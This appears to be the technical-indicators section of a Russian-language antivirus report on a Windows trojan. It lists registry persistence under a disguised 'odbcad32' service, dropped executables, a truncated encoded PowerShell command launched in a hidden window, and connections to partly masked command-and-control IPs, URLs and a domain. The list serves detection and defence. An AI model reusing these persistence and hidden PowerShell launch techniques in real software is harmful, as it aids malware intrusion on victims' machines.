Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\odbcad32] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\odbcad32] 'ImagePath' = '"%WINDIR%\SysWOW64\SyncInfrastructureps\odbcad32.exe"'
- 'odbcad32' "%WINDIR%\SysWOW64\SyncInfrastructureps\odbcad32.exe"
- 'odbcad32' %WINDIR%\SysWOW64\SyncInfrastructureps\odbcad32.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD UwBFAHQALQB2AEEAcgBpAEEAYgBMAGUAIAAgAEsANgBNADgAdQBXACAAIAAoAFsAVAB5AHAAZQBdACgAIgB7ADQAfQB7ADUAfQB7ADIAfQB7ADMAfQB7ADAAfQB7ADEAfQAiAC0ARgAnAGMAdABPAHIAJwAsACcAeQAnACwAJw...
- %HOMEPATH%\rhhcck4\ebd58oy\fsl2uw.exe
- %WINDIR%\syswow64\syncinfrastructureps\odbcad32.exe
- %HOMEPATH%\rhhcck4\ebd58oy\fsl2uw.exe в %WINDIR%\syswow64\syncinfrastructureps\odbcad32.exe
- '61.##8.67.173':80
- '91.##1.200.35':8080
- http://61.##8.67.173/8HQSl/a6BQQxyw/CaOn/lcQ5SUVekmB/CQByR7yx/0Q36zVzqX72jjgyt/
- http://91.###.200.35:8080/6kok7eviME5njcnk/ via 91.##1.200.35
- DNS ASK me###onyeu.vn
- '%HOMEPATH%\rhhcck4\ebd58oy\fsl2uw.exe'
- '%WINDIR%\syswow64\syncinfrastructureps\odbcad32.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD UwBFAHQALQB2AEEAcgBpAEEAYgBMAGUAIAAgAEsANgBNADgAdQBXACAAIAAoAFsAVAB5AHAAZQBdACgAIgB7ADQAfQB7ADUAfQB7ADIAfQB7ADMAfQB7ADAAfQB7ADEAfQAiAC0ARgAnAGMAdABPAHIAJwAsACcAeQAnACwAJw...' (со скрытым окном)